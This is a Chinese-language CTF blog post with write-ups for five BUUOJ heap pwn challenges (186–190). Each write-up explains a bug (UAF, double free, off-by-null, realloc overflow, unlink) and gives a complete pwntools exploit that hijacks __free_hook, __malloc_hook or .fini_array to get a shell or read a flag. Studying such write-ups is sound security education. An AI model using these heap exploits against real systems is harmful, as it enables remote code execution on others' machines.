186 hwb_2019_mergeheap


最多15个chunk。

show
正常输出。

free
free把程序保护的很好。

merge
这个里面会有漏洞,因为strcpy,strcat都是以’\x00’结尾的,所以我们在merge的时候可以在特定情况下把特定东西带出来。

利用方式
我们先通过常规方式泄露libc地址,然后通过merge来把,某个chunk的大size拉到另外一个chunk的size的位置,来造成overlap,从而进行fastbin attack,来达到利用效果。
因为是ubuntu18,所以我们可以直接攻击free_hook。

ps:这个题输入要注意一下,是自己实现的,不一样。要么被回车截断,要么只能输满,所以我们很多地方后面都要加一个回车。

from pwn import *context.log_level = "debug"r = remote("node3.buuoj.cn", 26562)
#r = process("./186")elf = ELF("./186")
libc = ELF("./64/libc-2.27.so")
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]def add(size, content):r.sendlineafter(">>", "1")r.sendlineafter("len:", str(size))r.sendafter("content:", content)def show(index):r.sendlineafter(">>", "2")r.sendlineafter("idx:", str(index))def delete(index):r.sendlineafter(">>", "3")r.sendlineafter("idx:", str(index))def merge(index1, index2):r.sendlineafter(">>", "4")r.sendlineafter("idx1:", str(index1))r.sendlineafter("idx2:", str(index2))for i in range(8):add(0x80, 'aaaaaaaa\n')for i in range(1, 8):delete(i)delete(0)
add(8, 'aaaaaaaa') #0
show(0)
r.recvuntil('a'*8)
malloc_hook = (u64(r.recvuntil('\x7f').ljust(8, '\x00'))&0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
print "libc_base + " + hex(libc_base)add(0x60, 'aaaa\n') #1
add(0x30, 'aaaa'*0x30) #2
add(0x38, 'aaaa'*0x38) #3
add(0x100, 'aaaa\n') #4
add(0x68, 'aaaa\n') #5
add(0x20, 'aaaa\n') #6
add(0x20, 'aaaa\n') #7
add(0x20, 'aaaa\n') #8
add(0x20, '/bin/sh\n') #9delete(5)
delete(7)
delete(8)merge(2, 3) #5
delete(6)
payload = 'a' * 0x28 + p64(0x31) + p64(free_hook) + p64(0) + '\n'
add(0x100, payload) #6 add(0x20, 'hi\n') #7
add(0x20, 'hi\n') #8
add(0x20, p64(system_addr) + '\n') #10
delete(9)r.interactive()

187 nsctf_online_2019_pwn1


add
结构跟上个题很像。

delete
清理的也很干净。

show是假的

update
有防溢出。也有个off by null。

所以思路很清晰,我们就是根据off by null,因为没有show,所以通过攻击IO_file来泄露libc地址,制造overlap,进行攻击。

# -*- coding: utf-8 -*-
from pwn import *#context.log_level = "debug"elf = ELF("./187")
libc = ELF("./64/libc-2.27.so")
_IO_2_1_stdout_s = libc.sym['_IO_2_1_stdout_']
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget = 0xf1147def add(size,content):r.sendlineafter('5.exit','1')r.sendlineafter('Input the size:',str(size))r.sendafter('Input the content:',content)def delete(index):r.sendlineafter('5.exit','2')r.sendlineafter('Input the index:',str(index))def edit(index, size, content):r.sendlineafter("exit", "4")r.sendlineafter("index:", str(index))r.sendlineafter("size:", str(size))r.sendafter("content:", content)def exp():add(0x80,'a') #0add(0x68,'b') #1add(0xF0,'c') #2add(0x10,'d') #3delete(0)edit(1,0x68,'b'*0x60 + p64(0x70 + 0x90))delete(2)add(0x80,'a') #0add(0x68,'b') #2与1是同一个chunkadd(0xF0,'c') #4delete(0)edit(2,0x68,'b'*0x60 + p64(0x70 + 0x90))delete(4)delete(1)add(0x80,'a') #0delete(0)add(0x80+0x10+2,'a'*0x80 + p64(0) + p64(0x71) + p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF))) #0add(0x68,'b') #1payload = '\x00'*0x33 + p64(0x0FBAD1887) +p64(0)*3 + p8(0x88)add(0x59,payload) #4libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.symbols['_IO_2_1_stdin_']if libc_base >> 40 != 0x7F:raise Exception('error leak!')malloc_hook_addr = libc_base + malloc_hook_sone_gadget_addr = libc_base + one_gadgetprint 'libc_base=',hex(libc_base)print 'malloc_hook_addr=',hex(malloc_hook_addr)print 'one_gadget_addr=',hex(one_gadget_addr)delete(1)edit(2,0x8,p64(malloc_hook_addr - 0x23))add(0x68,'b') #1#申请到malloc_hook-0x23处add(0x60,'\x00'*0x13 + p64(one_gadget_addr)) #5#getshellr.sendlineafter('5.exit','1')r.sendlineafter('Input the size:','1')while True:try:global rr = remote("node3.buuoj.cn", 29957)#r = process("./187")exp()r.interactive()except:r.close()print 'retrying...'

会发现我在send的时候接受没又接受回车,这并不影响正常交互,反而我发现接受回车会让exp跑的时候更容易出问题。所以就去掉了,具体是为点啥我也不大清楚。

188 roarctf_2019_easyheap



刚进去是先可以在bss上输入一些东西。

最多申请10下,然后大小不能超过fastbin。

free就是直接把buf那个free掉,但是显然没有清理指针,可以造成uaf以及double free

show
show利用需要条件,
利用完之后会把标准输出,标准错误都顺路关掉。


有三次机会来利用这个函数,可以通过calloc来申请或释放一个chunk。

因为里面存放指针的只有buf,所以我们的第一个思路,通过fastbin attack可能就不行了。

然后我们观察到其实我们有很多东西都在bss上面,而且这个题他没有开PIE,所以我们尝试着去unlink。
我们想到说大概的思路就是先想办法通过unlink来控制我们的bss,然后使得show能用,泄露libc地址,然后攻击malloc_hook,来getshell。

具体怎么做,那个后门函数怎么去利用呢?
我们的第一次思路是这样的。
我么先利用uaf,把chunk中的fd bk改改,然后通过后门函数做一个unlink,控制bss上的show标记,buf指针,与ptr指针,还能控制到buf指针上面八个字节。
buf可以写got表,show标记填写好,一会直接泄露got表地址。我们需要第二次控制这个地方,因为要把buf写成malloc地址,怎么第二次控制,只能是在bss上面构造一个chunk,然后ptr写成伪造的chunk那个地方,释放,申请,就可以二次控制。但是我们发现思路有问题,我们就没办法改fd bk。
那我们试试能不能double free,需要中间块,那我们就直接从calloc那个块中切割,来当我们的中间块,通过实现在bss上伪造chunk,来申请到bss,覆盖buf等指针达到利用效果
但是问题来了,用了很多次,但是后门函数一共只能用三次,而且那个标志不在我们unlink可以控制到的范围里面,咋整,我们突然发现,那个地方也是有漏洞的。


这个地方无论如何都会减1,所以当我们利用三次之后,第四次,不可以,减1,然后就又可以用了,相当离谱。

所以我们的具体思路也就连起来了。这个题常规思路,比较意外的就是最后一个地方了。

exp

# -*- coding: utf-8 -*-
from pwn import*context.log_level = "debug"r = remote("node3.buuoj.cn", 27054)
#r = process("./188")elf = ELF("./188")
libc = ELF("./64/libc-2.23.so")r.sendafter("please input your username:", p64(0) + p64(0x71)) #这个地方呀要记住千万不要多发一个回车,因为回车会被当做下一个chunk,然后导致后面崩掉
r.sendlineafter("please input your info:", "Yongibaoi")def add(size, content):r.sendlineafter(">> ", "1")r.sendlineafter("input the size\n", str(size))r.sendafter("please input your content", content)def delete():r.sendlineafter(">> ", "2")def show():r.sendlineafter(">> ", "3")def backdoor_1(content):r.sendlineafter(">> ", "666")r.sendlineafter("build or free?\n", "1")r.sendafter("please input your content\n", content)def backdoor_2():r.sendlineafter(">> ", "666")r.sendlineafter("build or free?\n", "2")def add_b(size, content):r.sendline("1")sleep(1)r.sendline(str(size))sleep(1)r.send(content)sleep(1)def delete_b():r.sendline("2")sleep(1)def backdoor_1_b(content):r.sendline("666")sleep(1)r.sendline("1")sleep(1)r.send(content)sleep(1)def backdoor_2_b():r.sendline("666")sleep(1)r.sendline("2")sleep(1)fake_chunk = 0x602060
puts_got = elf.got['puts']backdoor_1("aaaa")
backdoor_2()
add(0x60, "aaaa") #此时,ptr指向的chunk大小从0x100变成了0x70。
add(0x60, "aaaa")
delete()
backdoor_2()
delete() #double free
payload = 'a' * 0x18 + p64(puts_got) + p64(0xDEADBEEFDEADBEEF) + p64(fake_chunk)
add(0x60, p64(fake_chunk))
add(0x60, 'aaaa')
add(0x60, 'aaaa')
add(0x60, payload)
show()
puts_addr = u64(r.recv(6).ljust(8, "\x00"))
libc_base = puts_addr - libc.sym['puts']
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_addr = libc_base + libc.sym['__libc_realloc']
one_gadget = libc_base + 0xf1147
print "libc_base = " + hex(libc_base)sleep(1)
r.sendline("666")
sleep(1)backdoor_1_b('aaaa')
add_b(0x60, "aaaa")backdoor_2_b()
add_b(0x60, "aaaa")
add_b(0x60, "aaaa")
delete_b()
backdoor_2_b()
delete_b()
add_b(0x60,p64(malloc_hook - 0x23))
add_b(0x60, "aaaa")
add_b(0x60, "aaaa")
add_b(0x60,'\x00'*0xb + p64(one_gadget) + p64(realloc_addr + 0x14))r.sendline("1")
sleep(1)
r.sendline("30")r.interactive()

打通以后要注意因为我们程序的标准输出没了,所以我们要重定向,把输出定向到输入,终端才会有显示。

189 0ctf2015_freenote


进来先在0x6020a8地方申请了一个很大的chunk,然后就是各种清零。

我们先来看new,来分析各种chunk的关系。
那个大的chunk存着各种信息,结构是这样的。


list
正常输出。

edit
会发现
realloc这里的地址没问题,大小这里跟128字节对齐,因为是realloc,作用就是当要写入的大于本来的chunk大小,会释放本来的chunk,然后申请一个大的chunk,返回这个新chunk的地址。
realloc这里会造成溢出。

free

没有清理free指针,但是标志位,大小都清理掉了。

这个题我们能够利用的漏洞就是uaf,跟realloc造成的堆溢出,你或许会想,realloc怎么会造成溢出,他是怎么的一种方式?

我们先来看一下realloc。

size == 0 ,这个时候等同于free
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉

在这个题里面当我们realloc的时候如果size大于ptr的size,会首先将原来的chunk释放掉,然后再找一个更大的chunk分配给它,返回这个chunk的地址,但是我们要注意,这里的找一个更大的chunk,有两种不同情况。
1、如果有足够空间用于扩大mem_address指向的内存块,则分配额外内存,并返回mem_address
这里说的是“扩大”,我们知道,realloc是从堆上分配内存的,当扩大一块内存空间时, realloc()试图直接从堆上现存的数据后面的那些字节中获得附加的字节,如果能够满足,自然天下太平。也就是说,如果原先的内存大小后面还有足够的空闲空间用来分配,加上原来的空间大小= newsize。那么就ok。得到的是一块连续的内存。
2、如果原先的内存大小后面没有足够的空闲空间用来分配,那么从堆中另外找一块newsize大小的内存。

我们这道题用到的情况显然是后者。
我们在做题的时候首先申请了5个chunk,然后free掉了2、4.接着对chunk1进行了一次大于chunksize的edit,那么造成的结果是什么,首先释放了chunk1的地址,然后试图寻找对上现存的能用的空间,就找到了2,因为他是空闲的,于是合并再一次,分配给chunk1.所以虽然你是edit的0x90,但是其实返回的chunk是1、2合并起来的0x120.

然后伪造好chunk,做一个unlink就好了。

exp

# -*- coding: utf-8 -*-
from pwn import *context.log_level = "debug"r = remote("node3.buuoj.cn", 27906)
#r = process("./189")
libc = ELF('./64/libc-2.23.so')
elf = ELF('./189')free_got = elf.got['free']def add(size,content):r.sendlineafter('Your choice:','2')r.sendlineafter('Length of new note: ',str(size))r.sendafter('Enter your note:',content)def free(index):r.sendlineafter('Your choice: ','4')r.sendlineafter('Note number: ',str(index))def show():r.sendlineafter('Your choice: ','1')def edit(index,size,content):r.sendlineafter('Your choice: ','3')r.sendlineafter('Note number: ',str(index))r.sendlineafter('Length of note: ',str(size))r.sendafter('Enter your note: ',content)add(0x80,0x80 * 'a')    # chunk 0
add(0x80,0x80 * 'a')    # chunk 1
add(0x80,0x80 * 'a')    # chunk 2
add(0x80,0x80 * 'a')    # chunk 3
add(0x80,0x80 * 'a')    # chunk 4
edit(4,len("/bin/sh\x00"),"/bin/sh\x00")free(3)
free(1)payload = 0x90 * 'a'
edit(0,len(payload),payload)
show()r.recvuntil(0x90 * 'a')heap_0 = u64(r.recvuntil('\x0a')[:-1].ljust(8, "\x00")) - 0x19a0
heap_4 = heap_0 + 0x1a40fd = heap_0 - 0x18
bk = heap_0 - 0x10
payload = p64(0) + p64(0x80)
payload += p64(fd) + p64(bk)
payload = payload.ljust(0x80,'\x00')
payload += p64(0x80) + p64(0x90)
edit(0,len(payload),payload)free(1)payload = p64(2) + p64(1) + p64(0x8) + p64(free_got)    #chunk0 size改为0x8
payload += p64(0) * 9 + p64(1) + p64(8) + p64(heap_4)
payload = payload.ljust(0x90,'\x00')
edit(0,len(payload),payload)
show()
free = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']print hex(libc_base)payload = p64(system)
edit(0,len(payload),payload)r.sendlineafter('Your choice: ','4')
r.sendlineafter('Note number: ',"4")r.interactive()

190 [中关村2019]one_string

运行程序说我啥都知道了,然后靠着这个字符串找到了主函数。

四个选择。
功能还得靠猜,我直呼好家伙。

这个猜的出来就是malloc。

2
你看他还清理的很干净,看得出来是delete。

3
这个edit有点问题,你看他会重新计算chunk大小,我们chunk复用的时候大小会被带进去,下一次就可以直接修改下一个chunk的大小,就可以直接unlink利用。

我们的具体思路就是劫持.finit_array,把shellcode写入bss段,然后在程序退出时执行。

exp

from pwn import *context(arch = 'i386', os = 'linux', log_level = 'debug')r = remote("node3.buuoj.cn", 28478)
#r = process("./190")bss_addr = 0x080EAF80
content = 0x080EBA40
fini_array = 0x080E9F74def add(size, content):r.sendline('1')sleep(0.2)r.sendline(str(size))sleep(0.2)r.send(content)sleep(0.2)def delete(index):r.sendline('2')sleep(0.2)r.sendline(str(index))sleep(0.2)def edit(index,content):r.sendline('3')sleep(0.2)r.sendline(str(index))sleep(0.2)r.send(content)sleep(0.2)r.recvuntil("You know all, Please input:")
add(0x78, 'chunk0\n')
add(0x78, 'chunk1\n')
add(0x78, 'chunk2\n')
add(0x74, 'chunk3\n')
add(0xf8, 'chunk4\n')
add(0x20, 'chunk5\n')payload = 'a' * 0x74
edit(3, payload)payload = p32(0) + p32(0x71) + p32(content+0xc-0xc) + p32(content+0xc-0x8) + 'a'*0x60 + p32(0x70) + '\n'
edit(3, payload)delete(4)payload = p32(bss_addr)*2 + p32(fini_array) + '\n'
edit(3, payload)
edit(3,p32(0x80eba00)+'\n')
edit(0,p32(0x500)*6+'\n')payload = p32(bss_addr)*2 + p32(fini_array) + '\n'
edit(3, payload)shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
#sys_open(file,0,0)shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
#sys_read(3,file,0x100)shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
#sys_write(1,file,0x30)edit(1, shellcode+'\n')
edit(2, p32(bss_addr)*2+'\n')r.sendline('4')r.interactive()

buuoj Pwn writeup 186-190相关推荐

  1. buuoj Pwn writeup 166-170

    166 picoctf_2018_echo back 因为只有一次printf的机会,RELRO半开,不能覆盖fini,我们可以把puts改成vuln来制造循环,再次把printf改成system,来 ...

  2. buuoj Pwn writeup 106-110

    106 zctf2016_note2 保护 菜单堆. new 最多申请4个. 然后里面有个神奇的函数 会把里面的%剔除掉. 申请的chunk最大也只能是fastbin范围的chunk. ptr地方是指 ...

  3. buuoj Pwn writeup 246-250

    246 pwnable_echo1 结构简单. 功能1 就是个输入输出.但是显然有个栈溢出. 功能2功能3没有. 啥保护没有,就栈溢出就完了.可以直接rop,它开了NX.也可以shellcode. 写 ...

  4. buuoj Pwn writeup 206-210

    206 ciscn_2019_c_3 一堆乱七八糟. create 申请空间只有三种,申请到的空间第一个字节为0,应该是个flag,第二个是一个随机数,然后开始输入name,也就是内容. 跟进read ...

  5. ISCC 2018 PWN WriteUp

    1.Login [分值:200]--年轻人的第一道PWN 漏洞位置: 漏洞见上图,BUF大小0x40 读取时读了0x280字节,这样可覆盖掉Menu函数的返回值. 此函数中存在一个可能执行system ...

  6. [BUGKU][CTF][PWN][2020] PWN writeup

    准备UBUNTU pwndbg pwntools PWN1 关键字:nc 知识点:nc使用方法 https://www.cnblogs.com/nmap/p/6148306.html nc命令是一个功 ...

  7. BUUCTF-PWN rctf_2019_babyheap(house of storm,堆SROP)

    目录 题目分析 漏洞利用 Exp 题目分析 程序还有沙箱保护,把execve禁用了,只能orw了 在init中还把fastbin关了 在edit中有一个off-by-null溢出,以前这种情况都是用u ...

  8. 海量Web日志分析 用Hadoop提取KPI统计指标

    海量Web日志分析 用Hadoop提取KPI统计指标 Hadoop家族系列文章,主要介绍Hadoop家族产品,常用的项目包括Hadoop, Hive, Pig, HBase, Sqoop, Mahou ...

  9. 利用Word将连着一起的字符按照自己指定的”字符串或者字换行“自动换行。

    1在写android的Camera代码一项是获取相机硬件的参数,打印出来就一行,即使利用记事本自动换行也是密密麻麻的不好观看如下 RDCameraSDK=true;capture-burst-inte ...

最新文章

  1. 拉格朗日插值法(Lagrange插值法)
  2. 【PAT (Advanced Level) Practice】1086 Tree Traversals Again (25 分)
  3. ymcms SQL注入漏洞
  4. php处理小程序上传图片,微信小程序上传图片,PHP-Laravel框架实现
  5. bits/stdc++.h头文件总结
  6. VC+MO2.0连接ArcSDE并且读出SDE中的空间数据(三)
  7. Eclipse Rcp系列 http://www.blogjava.net/dreamstone/archive/2007/02/08/98706.html
  8. android开发中的grid控制
  9. 不能创建对象qmdispatch_关于系统弹出错误:429 , ActiveX 部件不能创建对象 的解决方法...
  10. 11.计算机基础之计算机网络基础
  11. python提示jsondecodeerror是什么意思_Python爬虫解析json遇到一类JSONDecodeError的解决方案...
  12. 关于let你不知道的知识点——红宝石书笔记记录
  13. OFFICE、EXCEL、WORD、PPT操作技巧个人笔记本(持续更新)
  14. 微星B550M MORTAR WIFI 的蓝牙模块消失的解决办法
  15. 开发人员的人品问题 收藏
  16. 解决eclipse出现This Android SDK requires Andro...date ADT to the latest version.问题
  17. 计算机网络—学习笔记
  18. 2021高考成绩查询衢州,2021浙江衢州中考成绩查询时间 衢州中考成绩查询入口
  19. SEAY代码审计系统源码
  20. 【LoadingDialog】标准款待加载对话框

热门文章

  1. OpenSSL1.1.1没有libeay.dll和ssleay.dll
  2. 阿里云IOT平台学习(一)--基础概念
  3. with 语句的使用来保存二进制文件(图片,视频,音频)
  4. 虚拟机装mac os
  5. dataframe保存为txt_PDF怎么转换为PPT?PDF秒转PPT秘技
  6. bilibili有电脑版吗_《和平精英》电脑版?火爆东南亚的轻量版吃鸡《PUBG LITE》好玩吗?...
  7. Java开发工具安装MySql
  8. 复旦大学计算机技术参考书,2021复旦大学计算机科学与技术考研真题经验参考书...
  9. UR5e+robotiq85+kinectV2+gazebo实现物体抓取【4】
  10. 234-C++11的auto和lambda